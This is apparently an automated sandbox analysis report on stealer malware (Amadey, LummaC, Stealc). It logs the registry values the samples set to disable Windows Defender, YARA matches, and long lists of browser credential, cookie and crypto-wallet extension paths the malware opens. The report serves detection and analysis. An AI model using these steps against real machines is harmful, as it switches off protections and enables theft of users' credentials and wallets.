Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T

Source: 8X6R8OO7U6CNLMSAL.exe, 00000015.00000002.2919840607.0000000000262000.00000002.00000001.01000000.00000011.sdmp, 8X6R8OO7U6CNLMSAL.exe.11.dr	Binary or memory string: Run Script:AutoIt script files (.au3, .a3x).au3;.a3xAll files (.).au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: ea2c7beae0.exe, 00000007.00000002.2464157606.0000000000D61000.00000040.00000001.01000000.00000009.sdmp, skotes.exe, 0000000D.00000002.2679450339.00000000005ED000.00000040.00000400.00020000.00000000.sdmp, ea2c7beae0.exe, 00000010.00000002.2922419882.0000000000D61000.00000040.00000001.01000000.00000009.sdmp	Binary or memory string: Program Manager
Source: skotes.exe, skotes.exe, 00000006.00000002.2920009693.0000000000C3E000.00000040.00000001.01000000.00000007.sdmp	Binary or memory string: 8{{Program Manager

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 6_2_00A6D3E2 cpuid

6_2_00A6D3E2

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\1000350002\6a8d4317d4.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\1000350002\6a8d4317d4.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000357001\4af6eb3e1f.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000357001\4af6eb3e1f.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000401001\num.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000401001\num.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\1000350002\6a8d4317d4.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\1000350002\6a8d4317d4.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1000401001\num.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\1000350002\6a8d4317d4.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1000401001\num.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 6_2_00A6CBEA GetSystemTimePreciseAsFileTime,GetSystemTimePreciseAsFileTime,

6_2_00A6CBEA

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 6_2_00A565E0 LookupAccountNameA,

6_2_00A565E0

Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Disable Windows Defender notifications (registry)

Source: C:\Users\user\AppData\Local\Temp\1000357001\4af6eb3e1f.exe

Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications DisableNotifications 1

Jump to behavior

Disable Windows Defender real time protection (registry)

Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableIOAVProtection 1	Jump to behavior
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableRealtimeMonitoring 1	Jump to behavior
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications	Registry value created: DisableNotifications 1	Jump to behavior

Disables Windows Defender Tamper protection

Source: C:\Users\user\AppData\Local\Temp\1000357001\4af6eb3e1f.exe

Registry value created: TamperProtection 0

Jump to behavior

Modifies windows update settings

Source: C:\Users\user\AppData\Local\Temp\1000357001\4af6eb3e1f.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AUOptions	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000357001\4af6eb3e1f.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AutoInstallMinorUpdates	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000357001\4af6eb3e1f.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate DoNotConnectToWindowsUpdateInternetLocations	Jump to behavior

Source: ea2c7beae0.exe, 0000000B.00000003.2684413253.0000000000AC6000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2684577632.0000000000A48000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2684499484.0000000000A9E000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 00000010.00000002.2919863056.00000000007C7000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 1.2.skotes.exe.a50000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.skotes.exe.a50000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.h3yRbjNWk1.exe.7c0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.skotes.exe.a50000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1721238447.00000000007C1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1760678116.0000000000A51000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000003.2316876024.0000000005150000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000003.2912971386.0000000004F50000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2919732407.0000000000A51000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1758451395.0000000000A51000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1680996838.0000000004AE0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.1720480608.0000000005210000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1718158159.0000000004E20000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected Credential Flusher

Source: Yara match	File source: 00000015.00000002.2921279103.0000000000D58000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 8X6R8OO7U6CNLMSAL.exe PID: 4192, type: MEMORYSTR

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: ea2c7beae0.exe PID: 1168, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: ea2c7beae0.exe PID: 6376, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Yara detected Stealc

Source: Yara match	File source: 15.0.num.exe.650000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.num.exe.650000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.num.exe.650000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.0.num.exe.650000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.6a8d4317d4.exe.d20000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.6a8d4317d4.exe.d20000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.6a8d4317d4.exe.d20000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000013.00000002.2900581975.0000000000651000.00000080.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2537460651.000000000095E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000003.2654891019.0000000004EC0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000003.2881192763.0000000005160000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000000.2678859508.0000000000651000.00000080.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.2695730886.0000000000D21000.00000040.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.2864835627.0000000000D21000.00000040.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000000.2883036920.0000000000651000.00000080.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.2731328670.00000000011EE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.2695281635.000000000094B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.2730538903.0000000000651000.00000080.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.2904376187.0000000000C47000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000003.2496940953.0000000004C70000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000003.2821857520.0000000005490000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2538148341.0000000000D21000.00000040.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.2867421028.000000000162B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 6a8d4317d4.exe PID: 5064, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 6a8d4317d4.exe PID: 5168, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: num.exe PID: 4144, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 6a8d4317d4.exe PID: 6996, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: num.exe PID: 2716, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\num[1].exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\1000401001\num.exe, type: DROPPED
Source: Yara match	File source: dump.pcap, type: PCAP

Found many strings related to Crypto-Wallets (likely being stolen)

Source: ea2c7beae0.exe	String found in binary or memory: %appdata%\Electrum-LTC\wallets
Source: ea2c7beae0.exe	String found in binary or memory: %appdata%\ElectronCash\wallets
Source: ea2c7beae0.exe	String found in binary or memory: Wallets/JAXX New Version
Source: ea2c7beae0.exe, 0000000B.00000003.2670087048.0000000000AAF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: window-state.json
Source: ea2c7beae0.exe	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: ea2c7beae0.exe	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: ea2c7beae0.exe, 0000000B.00000003.2603721155.0000000000A97000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\Binance
Source: ea2c7beae0.exe, 0000000B.00000003.2670087048.0000000000AAF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Ethereum
Source: ea2c7beae0.exe	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: ea2c7beae0.exe	String found in binary or memory: keystore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\key4.db
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cert9.db
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\formhistory.sqlite
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\logins.json
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp
